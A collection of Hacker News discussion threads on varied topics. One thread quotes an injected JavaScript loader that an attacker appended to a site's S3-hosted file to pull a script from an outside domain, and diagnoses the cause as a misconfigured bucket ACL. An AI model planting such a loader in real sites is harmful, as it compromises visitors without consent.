<comment><USER30> Straight from the article:

>Then they showed the Apple software we'd all have to use to send them each album. It required us to put the audio CD into a Mac CD-Rom drive, type in all of the album info, song titles and bio, then click [encode] for it to rip, and [upload] when done.

>I raised my hand and asked if it was required that we use their software. They said yes.

>I asked again, saying we had over 100,000 albums, already ripped as lossless WAV files, with all of the info carefully entered by the artist themselves, ready to send to their servers with their exact specifications. They said sorry - you need to use this software - there is no other way.

>Ugh. That means we have to pull each one of those CDs off of the shelf again, stick it in a Mac, then cut-and-paste every song title into that Mac software. But so be it. If that's what Apple needs, OK.

<comment><USER29> Right.. but there are always ways around scripting repetitive tasks.. even if we're talking about creating a virtual drive, building a virtual image, querying and populating metadata from your db, and still using their transport mechanism/software.. it should still be possible.

<comment><USER31> I don't think was that easy to do all this virtualization stuff back in 2003. And even if it was, why would he invest resources to do this when the artists were willing to pay him?

</comment></comment></comment></comment></comment></comment><comment><USER32> It's interesting to me that Apple's complaint is that anyone could get their crappy music into iTunes for $40 and that's a problem, but that free is fine.

</comment><comment><USER33> What you should have been doing (hindsight 20-20 and all that) was quietly going around to the other hundred or so people and getting together on this. Come through with one legal team representing the newly founded consortium and then negotiate from a position of strength.

Sign the deal, get cash up front, and then begin the drudgery of complying with Apple's byzantine requirements as a group.

<comment><USER34> You and only a few other commenters have recognized the abuse of power here:

> They said sorry - you need to use this software - there is no other way.

It would have been easy for Apple to work with entities such as CD Baby to whip up an alternate method to handle the importation of large catalogs of music. Once specified I'm sure such a trivial web API could be implemented and tested quickly.

But Apple and Jobs didn't do this because they knew they had the power to insist that their software be used even though it was only suited for single CD submissions.

I find it interesting that many commenters are critical of Sivers while completely overlooking Apple's abuse of power.

dmourati not only recognized the abuse of power but recommended a method for meeting it head on.

</comment></comment><comment><USER35> Wow! The things to learn. I am not sure how I feel about this or what to get out of it, although I am feeling a bit dizzy/warm. Should we buy music from Apple or other "nicer" companies? Pretty messed up though what Jobs did, although posting their business plan was most likely what made "them" angry. I am with you though that if it was confidential, you should have been given notice.

</comment><comment><USER36> I saw a documentary on a guy who has amassed the largest vinyl record collection in the world. The claim was made that 87% of all vinyl is not available on CD or other formats.

It'd be nice to see all that back catalog stuff available. I know I have a number of records that are good, but are not available digitally.

<comment><USER37> Can you remember what that documentary was called? I would love to see that

<comment><USER36> It was on the Roku's PBS channel. It's called "The Archive" under "PBS Online Film Festival".

</comment></comment></comment><comment><USER38> TL; DR: Steve Jobs really was quite a dick

<comment><USER38> The fact that a statement like this will never be voted up says so much. Do we rational hacker types really believe in ghosts? He did great shit, and he was a dick. Is that so hard to accept?

</comment></comment><comment><USER39> "They had 300,000 songs while Rhapsody and Napster had over 2 million songs. (Over 500,000 of those were from CD Baby.)"

Something about this does not compute.

<comment><USER40> Of the 2 million songs available at Rhapsody and Napster, over 500,000 were from CD Baby

<comment><USER39> If that's what it means, it is a bit misleading since it is combining two other services (Rhapsody and Napster) against one (Apple).

<comment><USER41> I read it as him stating that Rhapsody and Napster each had around 2M songs, and .5M of each were from CD Baby.

<comment> mh- That is- they both had, with exceptions, the same 2 million songs. And of those 2 million available, CD Baby provided some 500k of them.

</comment></comment></comment></comment></comment><comment><USER42> This has been on HN a bunch of times already. News is supposed to be new, correct?

<comment><USER43> This story was news to me, and I haven't seen it in a couple of years here.

The only part here not news is Steve Jobs/Apple acting like jackasses--the particulars of the story are interesting.

<comment><USER44> Interestingly, he was also a close mentor to Larry Page and Sergey Brin :)

<comment><USER45> > Interestingly, he was also a close mentor to Larry Page and Sergey Brin

The probably derived their "Don't be evil" from taking the reciprocal of what Steve Jobs "mentored" them.

<comment><USER46> uh... and how's that working out.

Come on, "Don't be evil" is just clever marketing that a lot of people fell for at first, and some still do.

<comment><USER47> Absolutely! This sort of jingoism at corporate level, the sort of moral imperative front-facing cleverly marketed idealism is the new religion, I swear. I can understand when a company puts itself "out there" with "Being the best" or "Customer first" or some bullshit like that. But when the rhetoric enters the realm of good ol' fashioned morality and talks about Good and Evil .. yoh! ... Our bs sensors should now be howling, thanks to companies like Google.

<comment><USER48> Please tell us what you REALLY think. :)</comment></comment></comment></comment></comment></comment></comment>


Ask HN: Are you happy with using PayPal on your website? - <AUTHOR> <comment><USER2> Paypal is almost the necessary evil if you want to take payments from anywhere in the world. I don't mind making money by using Paypal (Hey it is just a tool) BUT I absolutely hate their UI/UX. To do anything their UI takes average of 5-6 clicks at the minimum IF I am lucky to find the right page in time. Horrendous UI even though I am glad that I don't have to use it for the most part as my business uses the API. But then again, their API is just ok when compared to players like Stripe. Want to do test payments ? You need to signup for a separate Sandbox environment, uggh. Ok I know some other providers do this as well but this is where Stripe is so good.

<comment><AUTHOR> I feel the same about their UI/UX and every time I see a PayPal button I start thinking like "are they even aware of the UX of their service?". I was curious to see if I'm the only one who thinks like that. Thank you very much for all the explanations!

</comment></comment><comment><USER3> I run an online shop in South Africa (pishop.co.za) and rather than get through PCI compliance and then still have to deal with a large amount of fraud we opted to use paypal, their lack of support forthe South African Rand (zar) is a bit of a burden. Also the fact that it's not easy to withdraw funds to a SA bank account adds some trouble

</comment><comment><USER4> Lots of chargebacks. I switching to Bitcoin.

</comment><comment><USER5> Are you in a business segment that has a meaningful risk of chargebacks? If so, I wouldn't use Paypal.

<comment><USER6> I was in a software segment that had a high risk of chargebacks, and my chargebacks went down when switching from ShareIt to PayPal.

</comment></comment><comment><USER7> Yes. Why do you ask?

<comment><AUTHOR> I'm trying to figure out how helpful their service. What percentage of the transactions are coming from there?

</comment></comment><comment><USER8> Yuppers.</comment>


How do you post a job opening on here? - <AUTHOR>

How do I post a job opening on the following links - I can't figure it out - guess I'm really dumb: https://news.ycombinator.com/item?id=6653437 https://news.ycombinator.com/item?id=6653426<p>thanks <comment><USER2> The "Who is hiring" threads get initiated every now and again, and then you can post a reply to it. The particular threads you are pointing to are closed to new comments because they are old.

You can start your own "Who is hiring" thread and reply to it with the position you want to advertise, or you can post in the same way as you have here with a job offer, or you can create a web page describing the position, and submit a link to that.

<comment><USER3> Thanks Colin - you would think that HN would clearly mark it as closed to additional posts. I thought I was going crazy. Very frustrating.

<comment><USER2> You're welcome - pleased to have helped.

With regards the post closed - I guess they feel that the absence of a "reply" box would give that away.

</comment></comment></comment><comment><USER4> I believe the "Jobs" section of the board is reserved for y-combinator affiliates.</comment>


Ask HN: How did this tracking code get in my site's JavaScript? - <AUTHOR> I've just found this mysterious tracking code appended to the main JS file of my website:
;(function(d,s,u,t,h){d.q97W||(t=d.createElement(s),h=d.getElementsByTagName(s)[0],t.async=1,t.src=u,h.parentNode.insertBefore(t,h),d.q97W=1)})(document,'script','//abtrcking.com/a610b2befbce9062/analytics.js?4cd018b7ad0ce698d02494542e8f6e70');
Unfortunately the text was appended to a gzipped JavaScript file, which made it unreadable by browsers and effectively shut down my site.
The site is hosted on AWS and the JS file was pushed to S3 during deployment. I checked deployment logs and it definitely wasn't in the file during deployment. Does this mean someone has hacked my AWS account or has my access keys? <comment><AUTHOR> Well, I think I found the problem: despite my meticulously-defined bucket access policy, it turns out I had write permissions enabled for "any authenticated AWS user" in my access control list. I did not realize there were two separate pages for these settings.

I suppose it's possible that the bot enabled this setting, but it was probably just me being sloppy :-/ The bot probably scans for poorly-protected S3 buckets that are referenced on websites.

I hope the next victims find this post in a Google search.

</comment><comment><USER2> Maybe, but is your site protected by SSL? It might be hard for most of us to help you without a link. "abtrcking.com" appears to be some HN user's side project.

<comment><AUTHOR> Yes, sitewide SSL. The site is [redacted].

Affected files are:

[https://[redacted].s3.amazonaws.com/js/scripts_2017-05-28-17...](https://\[redacted\].s3.amazonaws.com/js/scripts_2017-05-28-17-17-45_www.min.js.gz)

[https://[redacted].s3.amazonaws.com/js/scripts_2017-05-28-18...](https://\[redacted\].s3.amazonaws.com/js/scripts_2017-05-28-18-01-25_www.min.js.gz)

According to "last modified" timestamps, the first was modified 7 minutes after upload, the second 2.4 days later.

<comment><USER3> It sounds like something automated broke into your s3 account, added it mindlessly to .js files, and moved on.

<comment><AUTHOR> That's my impression too, because no one would manually add plain text JS to a .gz file, but wouldn't that imply that someone has broken into so many AWS accounts that they needed a script to hack them all!?

<comment><USER3> I hope not, but that may be occurring. I would check your access history/see what users have touched it, and I would certainly contact Amazon.

</comment></comment></comment></comment></comment><comment><USER4> Check your Chrome extensions. There is a high probability that one of them might be adding it to all .js files downloaded from websites.

<comment><AUTHOR> The tracking code is definitely in the file. The checksum has changed, the last file modification timestamp is well after the deployment time, and I can see it when I download it straight from the S3 API.</comment></comment>


The Backbone of VHF Amateur Radio May Be Under Threat - <AUTHOR> https://hackaday.com/2019/07/01/the-backbone-of-vhf-amateur-radio-may-be-under-threat/ <comment><USER2> Discussed yesterday: [https://news.ycombinator.com/item?id=20321272](https://news.ycombinator.com/item?id=20321272)

<comment><USER3> Also [https://news.ycombinator.com/item?id=20178799](https://news.ycombinator.com/item?id=20178799)

</comment></comment><comment><USER4> The proposed frequency is just above the aviation VHF band (108 to 136Mhz) so it makes sense to use it when aviation runs out of frequencies to use.

However... EASA has made all aviation radios switch from 25Khz channel spacing to 8.33Khz channel spacing, essentially tripling the available number of frequencies for everything between 118 and 136Mhz. So I cannot imagine there is a current lack of frequencies for aviation in France (or anywhere in Europe).

The US has some shortage (and still uses 25Khz channel separation), but they solved it by sharing frequencies between small airports.

<comment><USER5> > _So I cannot imagine there is a current lack of frequencies for aviation in > France (or anywhere in Europe)._

This isn't about voice / ATC, but rather about up/downlinks for drones and such. From the background on the proposal:

> _The decisions of previous conferences have introduced some restrictions to > the use and have imposed constraints on the development of aeronautical > mobile applications within some existing mobile allocations traditionally > used by the aeronautical mobile applications._

> _At the same time, the number of manned and unmanned aircraft equipped with > sensors has grown significantly in the past 20 years together with the need > of bidirectional low to high data rate communications. Aeronautical > applications like fire surveillance, border surveillance, air quality and > environment monitoring, traffic monitoring, disaster monitoring, terrain > modelling, imagery (visible, infrared, radar, meteo), video monitoring > require non-safety communications between various types of aeronautical > platforms._

> _Consequently the need of non-safety data communications between various > types of aeronautical platforms increases and so the need for new frequency > bands._

* [https://cept.org/ecc/groups/ecc/cpg/cpg-pt-a/client/meeting-...](https://cept.org/ecc/groups/ecc/cpg/cpg-pt-a/client/meeting-documents/file-history/?fid=51940)

<comment><USER6> Why would you want to try to pump video over VHF? You have line of sight to everyone when you are in an airplane. Use a higher frequency band that allows for much more bandwidth and therefore higher data speeds. The little 1.2GHz video transmitters can easily reach 10km. That is cruising altitude for a commercial airliner. Having the proper license would get you even greater distance with a higher transmit power. Have the drone/UAV transmit ADS-B data and use GPS position to point a high-gain directional antenna at it, that should get you even more bandwidth.

<comment><USER7> This, to me, is why this request is so unusual. This is much more suited for spread spectrum, secure, short wavelength (smaller antennas) and the like, and its surprising that Thales - a world renowned avionics corporation - is behind the push. It's also why I think this big 2m band scare is moot; someone didn't actually do the engineering, it's like they just threw out a random number and put it in a powerpoint slide.

</comment></comment></comment></comment><comment><USER8> I can't help but feel the amateur radio community could have used a rebrand for the internet age. I understand there's a lot of history but it's hard to get young people interested in being _hams_, a word that has not aged well. I got my licence about a decade back and really loved the technical pieces - learning about how radio waves worked, propagation with different bands, the ability to (try) to build your own modem with two radios and an Arduino, but when it came to actually talking to people on the radio... other people just wanted to talk about radios.

It is really fascinating what you can do with 2m band radios. For those times and places where your cell phone won't work, digital modes on the new Icom radios look pretty cool. Being able to hook up a radio to a laptop to send something digitally still seems valuable and relevant! But the community branding could use some modernization to push those use cases.

<comment><USER9> In my opinion one of the best ways of injecting some new life into the community would be to let people take their test online.

<comment><USER10> Two better ways: remove the need for a test or license at all, at least at many more frequencies and below energy levels well above current limits (which say you can transmit around 2.4 Ghz for example up to some power license- free). Second is to remove any restrictions on what is transmitted, which lets you have purely digital frequency modulated end-to-end encrypted signals meant for amateur computers to decipher.

But making the test online sounds a lot more feasible a change. I'm just skeptical of its effects. e.g. It wouldn't have made me any likelier to pursue amateur radar fun further.

<comment><USER11> As much as I'd love to have more people in amateur radio, and the ability to use encryption, I think both the licensing and prohibition on encryption are fairly critical to keeping things running smoothly.

The test includes lots of useful information such as requirements to transmit your callsign and using minimum power necessary.

The prohibition on encryption is pretty critical to enforce other rules such as only using it for non-commercial purposes. Encryption isn't actually necessary for any of the stated purposes of amateur radio (experimentation, recreation, training, contesting, emergency comms, etc). You can still use any digital mode, including digital signatures, but not encryption of the content.

I might be in favor of creating a class lower than Technician, and allowing taking the test online, though. You should still be assigned a callsign that you are required to transmit.

<comment><USER12> > Encryption isn't actually necessary for any of the stated purposes of > amateur radio (experimentation, recreation, training, contesting, emergency > comms, etc)

It is, or will be, needed for experimentation. Wireless security cannot be an afterthought anymore; communication modes and protocols need to be built with security in mind from day 1.

There is one area where encryption is expressly permitted in amateur radio: satellite control, for obvious reasons. The future of amateur radio is not people talking to people over narrowband voice channels; it's going to be machines talking to other machines, and being able to control them. This is going to require encryption, or innovation will shift off the ham bands. And if the ARS is just ragchews, contesting, and doing things that have already been done instead of advancing communication, then there's not much defense when someone like Thales comes in and suggests reallocating bandwidth to something new and enterprising.

<comment><USER11> A few points:

Encryption isn't typically part of the physical or data link layers, which are the bread and butter of amateur radio. What you send on top of those isn't really the interesting part of amateur radio, from a technical perspective.

The actual rule prohibits "messages encoded for the purpose of obscuring their meaning" which I think most people interpret to mean digital signatures for authentication and integrity are permitted, just not encrypted payloads.

Many protocols have the ability to switch ciphers, including disabling encryption entirely while still performing authentication and integrity checking.

</comment></comment></comment></comment></comment></comment><comment><USER13> as an aside, I got my ham radio licence because of my interest in long distance microwave mesh networking. there is a group called aredn [http://www.arednmesh.org](http://www.arednmesh.org) which uses wifi devices modified to run in the Amateur portions of 2ghz and 5ghz to create massive mesh networks. The lack of noise on our allocations means we can make really long connections. I personally have a 50 dollar Microtik dish that makes a 25 mile connection to a backbone node and get about 25mbps. If there are any HAMs that are reading this, or you want to become a HAM it's a fun project that blends computers and radio.

<comment><USER14> There's something similar in the Seattle/Victoria area.

[https://hamwan.org/](https://hamwan.org/)

It's really fun to play with. It's not strictly a mesh, but that's OK. It's used heavily for EMCOMM as well as internet linking repeater sites on the tops of mountains where there's no other internet.

<comment><USER13> Another great project, although I don't think they have modified their firmware to run outside of the Part 15 wifi bands, so they have to deal with noise... Could be wrong though. :)

</comment></comment></comment><comment><USER15> The fact that there was little opposition was partly due to the short time between the submittal of the amended proposal by France and the meeting itself.

Here's some background by someone who is well connected with the German authorities:

[http://mailman.pe1itr.com/pipermail/moon- net/2019-June/03977...](http://mailman.pe1itr.com/pipermail/moon- net/2019-June/039773.html)

</comment><comment><USER16> There's a lot more to this than simply taking spectrum away from hams. This potentially affects other ham bands too.

The allotted spectrum for ham use was designed intelligently to reduce (though not completely eliminate) the chances of hams accidentally clobbering folks outside of a ham band with harmonics. So for someone operating in the 10 meter band (28-29.7MHz), the 2nd harmonic is the 6 meter band (50-54MHz), the 8th harmonic is the 1.25m band (220-224MHz) and the 16th harmonic is the 2 meter band being discussed. The closest band to cause interference on the 2m band would be users of the the 1.25m band though as the 2m band is the 2nd harmonic from it.

Also, this is why the 2m and 70cm bands (144/440MHz) are commonly included on the same radio: one antenna can sort-of work for both bands. The antenna is tuned for the 2m band and that means it will also radiate 3rd harmonic excitations as well (the 440MHz band is the 3rd harmonic from the 144MHz band). So it works decent for 2 meters and as a crappy but acceptable 70cm band antenna. The only casualty is the 2nd harmonic band between them at 288MHz which is not allocated to hams.

But anyway, there's no "type acceptance" required for ham radios because that allows hams to build their own gear and not just be appliance operators. Thales is setting themselves up for a lifetime of potential problems if they manage to crack open the 2m band for commercial use.

Lastly, I will say that this is from the US perspective, I'm less well versed in ITU regions and bands available outside of the US. Thanks.

</comment><comment><USER17> There are too many existing terrestrial and space users for this to fly. They're not getting a globally harmonized ham band. Is it April 1?

<comment><USER18> Especially not one of the most popular bands for new hams (and probably one of the most popular bands period). The vast majority of young hams these days enter the hobby by getting whichever basic license their country offers and buying a cheap Chinese dual-band 2m/70cm handheld radio (like the ubiquitous Baofeng). Learning how the repeaters work is a rite of passage.

While I think 70cm is probably more popular than 2m in Europe, 2m is the preferred default in North America. Just about everywhere you go on the continent, you'll be able to find a 2m band FM repeater on some nearby hilltop with the customary 600 kHz channel spacing and a CTCSS control tone. Is every cash-strapped amateur radio club supposed to go and drop a few grand to convert all these stations to 70cm?

I could probably see an argument for potentially clawing back ( _not eliminating_ ) the bandwidth for some of the microwave allocations in C band and up, which are definitely under-utilized by the amateur radio community. But Thales trying to make a land-grab on one of the most popular ham bands simply because it happens to be globally allocated is utterly absurd.

<comment><USER19> > The vast majority of young hams these days enter the hobby by getting > whichever basic license their country offers and buying a cheap Chinese > dual-band 2m/70cm handheld radio (like the ubiquitous Baofeng).

Calling in as one of those people. Part of the reason I did so is that, for a small time commitment and about $30 I can do a small part of community service in the form of traffic nets and external communication (I do regularly check into the local traffic net, although I've yet to generate or accept any traffic. I should do that at one point)

</comment></comment></comment><comment><USER20> From the ARRL: [http://www.arrl.org/news/restraint-urged-in-response- to-2-me...](http://www.arrl.org/news/restraint-urged-in-response-to-2-meter- reallocation-proposal)

</comment><comment><USER5> The official proposal if anyone is interested:

> _The decisions of previous conferences have introduced some restrictions to > the use and have imposed constraints on the development of aeronautical > mobile applications within some existing mobile allocations traditionally > used by the aeronautical mobile applications._

> _At the same time, the number of manned and unmanned aircraft equipped with > sensors has grown significantly in the past 20 years together with the need > of bidirectional low to high data rate communications. Aeronautical > applications like fire surveillance, border surveillance, air quality and > environment monitoring, traffic monitoring, disaster monitoring, terrain > modelling, imagery (visible, infrared, radar, meteo), video monitoring > require non-safety communications between various types of aeronautical > platforms._

> _Consequently the need of non-safety data communications between various > types of aeronautical platforms increases and so the need for new frequency > bands._

* [https://cept.org/ecc/groups/ecc/cpg/cpg-pt-a/client/meeting-...](https://cept.org/ecc/groups/ecc/cpg/cpg-pt-a/client/meeting-documents/file-history/?fid=51940)

<comment><USER18> The thing is, 2 MHz of bandwidth in VHF isn't going to help the vast majority of those use cases. The best you can hope for is low-rate telemetry in that band (since that 2 MHz is going to need to be shared with other UAV users, and the noise temperature at VHF is horrendous due to man-made interference).

Those use cases more properly belong in the microwave bands. Why aren't they going after allocation in L-band and S-band?

I also fail to understand why they need an globally coordinated allocation for this. Surely with GPS + cognitive radio approaches, a UAV could use a local allocation set aside for this purpose wherever it's operating?

</comment></comment><comment><USER21> I have this radio

[https://www.amazon.com/Yaesu-FT-60R-Handheld-Amateur- Transce...](https://www.amazon.com/Yaesu-FT-60R-Handheld-Amateur- Transceiver/dp/B00Q1UYR1G)

which works on both the 2-meter and 70-cm band, particularly if you use this kind of antenna:

[http://hamuniverse.com/2mladjpole.html](http://hamuniverse.com/2mladjpole.html)

I live in a poor spot for 2m, we have some active club repeaters. Someone is always listening on those repeaters, but they probably don't want to chat with you.

The west coast has more VHF and UHF action than any place I have been on the east. There are repeaters with people who talk nonstop in English, Spanish, other languages. You hear people talking on 2m at 4:00 in the morning around Van Nuyes.

</comment><comment><USER11> There are millions of these radios in the hands of both licensed hams AND unlicensed preppers/airsoft players/etc who bought their $25 BaoFeng radio on Amazon.

Thales wants to reallocate the band for autonomous drone operations.

What could possibly go wrong?

</comment><comment><USER22> Unpopular opinion time: spectrum is a limited resource. We shouldn't waste it on efficient analog technologies like conventional commercial and amateur radio. We've already ceased conventional broadcasts: that's a step in the right direction, but there's more to do. The entire RF spectrum should be devoted to LTE-like efficient, packetized, and secure communication. I'd make small exceptions for things like radio astronomy, but I don't think we should be squandering prime regions of the EM frequency space just to support transceivers that Marconi would have recognized.

<comment><USER17> I'm saddened that your unpopular opinion targets the very people who pioneered efficient, packetized secure communications, but reminded that there's a reason why we hams lost 220-222 to UPS - we failed to exploit it when we had it.

There's nothing between 54Mhz and 222 Mhz for hams other than the 2m allocation. Please pick on someone else.

<comment><USER22> One of the most important problems with discussion today is people seeing personal attacks where none exist. I'm stating a policy position, not "target[ing]" people. Conflating policy and personal attacks makes it impossible to discuss policy in a reasonable way.

<comment><USER17> I don't buy that at all. There are far more important problems than those that arise from voicing an opinion and having to field defenses from those who'd suffer under the unpopular policy regime you espouse.</comment></comment></comment></comment>


WTF Dept: DataPortability Project Sued By RedHat - <AUTHOR> http://www.centernetworks.com/redhat-dataportability-cease-desist-logo <comment><USER2> I wouldnt say they look nothing alike, but I wasn't expecting Redhat to make a big deal about it.</comment>


Perl 6 Is Separate from All, Replacement for None - <AUTHOR> https://thelackthereof.org/TLT/2016.01.08/Perl_6_is_Separate_from_All,_Replacement_for_None <comment><USER2> I've been looking at Perl6 over the last couple of weeks. The most recent O'Reilly books are about a decade old. A lot of the other material, and there is a surprising amount (e.g. the Advent Calendars) also was written during Perl6's long gestation.

My conclusions:

1\. There's relatively little that doesn't assume familiarity with Perl5, and most of what doesn't tends to take the "an array is..." level as a jumping off point.

2\. There's no way to know if a Perl6 article from 2009 is going to be a world of hurt via deprecation over six years of development...and 2009 is on the more recent half of the gestation period.

The upshot is that I don't have a good sense of alignment with the language community versus something like Clojure or Python, and it's mostly due to a lack of clarity about the Perl6 community.</comment>


How the NSA Identified Satoshi Nakamoto - <AUTHOR> https://medium.com/@amuse/how-the-nsa-caught-satoshi-nakamoto-868affcef595 <comment><USER2> Posted before, and my thoughts on it are the same. Is it plausible the NSA has really identified Satoshi Nakamoto? Of course, they have the resources needed.

But this article is very short on evidence beyond 'trust me, I know a guy'. It's the equivalent of saying your uncle works at Nintendo or what not. It might be true, but you've given people no way to truly be sure.

It's all pure blind faith.

Again, I'll stay optimistic, but without evidence, I won't bet on anything.

</comment><comment><USER3> I wonder how hard it would be to make a 'sentence anonymizer'. Like an English to English version of Google LSTM translator network. Perhaps trained adversarially.

<comment><USER4> One example is linked in the bottom of the article:

> How to Protect Yourself: There is a project on Github you can join to help > create a way to write without fingerprints: > [https://github.com/psal/anonymouth](https://github.com/psal/anonymouth)

<comment><USER3> This works by using already existing author detection software, and simply warning the author if the sentences seem too particular. That's probably a pretty good solution, though it doesn't give much assurance against other identification programs.

</comment></comment></comment><comment><USER5> Out of the loop: is Satoshi guilty / accused of any crimes?

</comment><comment><USER6> Unsourced conspiracy theory that makes several known-false statements.</comment>


UnRAID servers refuse to boot without an internet connection to 'phone home' - <AUTHOR> http://lime-technology.com/forum/index.php?topic=51379.0 <comment><USER2> Hardly news though. It only applies to betas/release candidates & the devs explicitly state, due to the nature of the software, it's a kill switch just in case a data loss bug is introduced.</comment>


The Spiral Pump: A High Lift, Slow Turning Pump - <AUTHOR> http://lurkertech.com/water/pump/tailer/#xtocid21323 <comment><USER2> Given that this pump was seemingly invented 240 years ago, and then re- invented several times within the last 10 years give lie to the idea of "intellectual property"? Who owns the "intellecutal property" of this pump? The estate of H.A. Wirtz, the Windfarm Museum, Peter Morgan of the Blair Research Laboratory, or David Hilton of Australia? Nicely documented case of multiple independent inventions of the same type of pump.</comment>


Reconfigurable Asynchronous Logic Automata - <AUTHOR> http://rala.cba.mit.edu/pubs.html

<comment><AUTHOR> Courtesy of taliesinb's off-hand comment [0], I learned of this excellent research project which collates many of my recent CS interests, and wish to share.

[0] [http://rala.cba.mit.edu/pubs.html](http://rala.cba.mit.edu/pubs.html)

<comment><USER2> None of the links to papers seem to be working?

<comment><AUTHOR> Well, that's unfortunate. This page aggregates all the Center for Bits and Atoms papers, which can be cross-referenced by the titles in the submitted link: [http://cba.mit.edu/docs/papers/](http://cba.mit.edu/docs/papers/)

Here is the main RALA paper (PDF warning): [http://cba.mit.edu/docs/papers/09.11.POPL.pdf](http://cba.mit.edu/docs/papers/09.11.POPL.pdf)</comment></comment></comment>


AI used in UK job interviews to find the best applicants - <AUTHOR> https://telegraph.co.uk/news/2019/09/27/ai-facial-recognition-used-first-time-job-interviews-uk-find <comment><AUTHOR> Well the UK lacks in finding this 'talent' so much that they resort into extreme measures such as using horrible tools like this.

If that wasn't enough, this AI is by a company called Hirevue. If any company states they are 'diverse' and use this atrocious software to find the 'best candidates', they risk introducing applicant bias based on certain characteristics (race, gender, ethnicity, etc). Best part is? The AI can't even explain itself or its decision!

Stay far away from companies that use this.

</comment><comment><USER2> Anyone who knows the current capabilities of AI knows that this is pure nonsense. Maybe it'll get vaguely decent results using the easiest features - probably are they young and white. But you don't need AI for that.

<comment><USER3> > But you don't need AI for that.

Yes you do. If I select young and white applicants for a job, and get sued, on the witness stand I will be asked why I only selected young and white applicants. When I answer that I selected young and white applicants, I lose the case and a large packet of money.

But if I have an AI in hand, I can say that I accepted the claims by its creators that it is not biased, and therefore if it only selected young and white applicants, that iss because they are the only qualified ones, and they just "happen to be white."

Naturally there would be arguments going back and forth as to whether the algorithm is racist, but I have a good chance of getting away without paying damages because the question is complicated and thorny to explain to a jury, and I have plausible deniability.

</comment></comment><comment><USER4> Wouldn't apply at any company doing that.

</comment><comment><USER5> nope

<comment><USER6> Exactly. There is no such tool. Just a cheap PR stunt</comment></comment>


Woz, Jobs and ... Wayne? Apple's forgotten founder still wandering in the desert - <AUTHOR> http://www.mercurynews.com/bay-area-news/ci_15214122?nclick_check=1 <comment><AUTHOR> Woops. This is a dupe. My bad. See HN discussion here - <http://news.ycombinator.com/item?id=1400494></comment>


Escher-Like Spiral Tilings - <AUTHOR> http://isohedral.ca/escher-like-spiral-tilings/ <comment><USER2> These maps turn out to be awfully useful for interesting visual effects.

The exponential map shows up in Escher's "print gallery" too, which I tried to explain here:

[http://roy.red/droste-.html](http://roy.red/droste-.html)

And you can use it to make various interesting things:

[http://roy.red/fractal-droste-images-.html](http://roy.red/fractal-droste- images-.html)

I like this paper that extends the Mercator projection of the earth down a few inches so you can see what it does down right next to the South Pole:

[http://archive.bridgesmathart.org/2013/bridges2013-217.pdf](http://archive.bridgesmathart.org/2013/bridges2013-217.pdf)

<comment><USER3> I find mercator maps for Mandelbrot to be fascinating, I hope we can use them better than we do right now. Maybe to pre compute values before making a render of a Mandelbrot zoom?

</comment></comment><comment><USER3> You can see a logarithmic spiral ("Complex Exponential" in the article) in my video : [https://www.youtube.com/watch?v=CMMrEDIFPZY](https://www.youtube.com/watch?v=CMMrEDIFPZY) Obama deformed by holomorphic complex functions (conformal map)

But I forgot to make it twist like the pictures in this article. That would make a nice addition for a new video

<comment><USER4> Ah very cool! In a couple of those, when his chin is stretched wide, Obama really looks just like Dwayne "The Rock" Johnson!

Did you do anything tricky to blend between functions, or is this simple interpolation?

Something pretty similar I made on ShaderToy: a live Mandelbrot mapping using the camera: [https://www.shadertoy.com/view/XsKfDc](https://www.shadertoy.com/view/XsKfDc) It sadly doesn't seem to work on all browsers, so you can swap the iChannel0 texture for one of the built-in videos if the webcam doesn't show up.

<comment><USER3> Yes simple linear interpolation eased with a cosine ! Sometimes I make a param of the function vary though

</comment></comment></comment><comment><USER5> The article mentions a lot of interesting properties of the complex exponential map. I find it especially neat that horizontal and vertical translation map to uniform scaling and rotation. A mapping that shuffles transformations around like that can be used in creative ways.

I'd like to add another interesting property, that naturally stems from the above: the mapping transforms regularly repeating shapes into self-similar shapes. Any geometry that repeats along the x axis (with a given period P) will be mapped to a geometry that is self-similar under scaling by the same value P. You can create mappings in more dimensions that have the same properties, for example in 3 dimensions: [https://www.osar.fr/notes/logspherical/](https://www.osar.fr/notes/logspherical/)

<comment><USER3> Very good blog article thanks for sharing. It's not really the 3D equivalent, though? Only adapted from 2D

<comment><USER5> The section titled "Log-polar Mapping in 3D" is, as you say, simply adapting the same map to 3D. The section "Log-spherical Mapping" is about the proper 3D equivalent.

However, while maps in 2D space can be neatly represented with complex numbers, there is no equivalent for 3D space, so things can't be as neat. But the geometric properties are there: using the log-spherical map, translation along one axis maps to uniform scaling (in all 3 axes).

</comment></comment></comment><comment><USER6> Jos Leys' generated some similar looking images, as briefly mentioned in the article [0]. He uses a different mathematical approach, Doyle spirals [1,2]. Malin Christersson added a Möbius transformation creating even more curious animations [3].

[0] [http://www.josleys.com/show_gallery.php?galid=265](http://www.josleys.com/show_gallery.php?galid=265)

[1] [http://www.josleys.com/articles/HexCirclePackings.pdf](http://www.josleys.com/articles/HexCirclePackings.pdf)

[2] [https://mathematica.stackexchange.com/questions/146377/gener...](https://mathematica.stackexchange.com/questions/146377/generating- doyle-spiral-painting)

[3] [http://www.malinc.se/m/MobiusDoyle.php](http://www.malinc.se/m/MobiusDoyle.php)

</comment><comment><USER7> This would make a great visualization for a bassy music video. Link variables defining the polygon shape with amplitudes for bass frequency ranges and the color to the vocal tone.

</comment><comment><USER8> the demoscene wants its tunnels back

<comment><USER9> Why downvote this? It's (at least could be) a clever callback to the demoscene.

<comment><USER10> [I didn't downvote it.] It breaks some of the unofficial rules of HN:

No jokes, no kittens, no oneliners.

I recommend to write a longer version of the comment that adds some info. Something like:

fake> _This is /was very popular in the demoscene [n years ago]. My favorites examples are [youtube link] and [youtube link]. In particular, there is a post from [famous demoescener] that explain how he/she used this effect [link] in [optional youtube link] _

</comment></comment></comment><comment><USER11> Stationary satellite, "stationary" hurricane;

[https://www.star.nesdis.noaa.gov/GOES/floater.php?stormid=AL...](https://www.star.nesdis.noaa.gov/GOES/floater.php?stormid=AL052019)

Look at the default GeoColor, then let it load Channel 14 or 16.

</comment><comment><USER12> The online tool ([http://isohedral.ca/other/Spirals/](http://isohedral.ca/other/Spirals/)) is really fun to play with, and can be used to create wonderful coloring pages for kids!

</comment><comment><USER13> Beautiful! This is what the internet is for.</comment>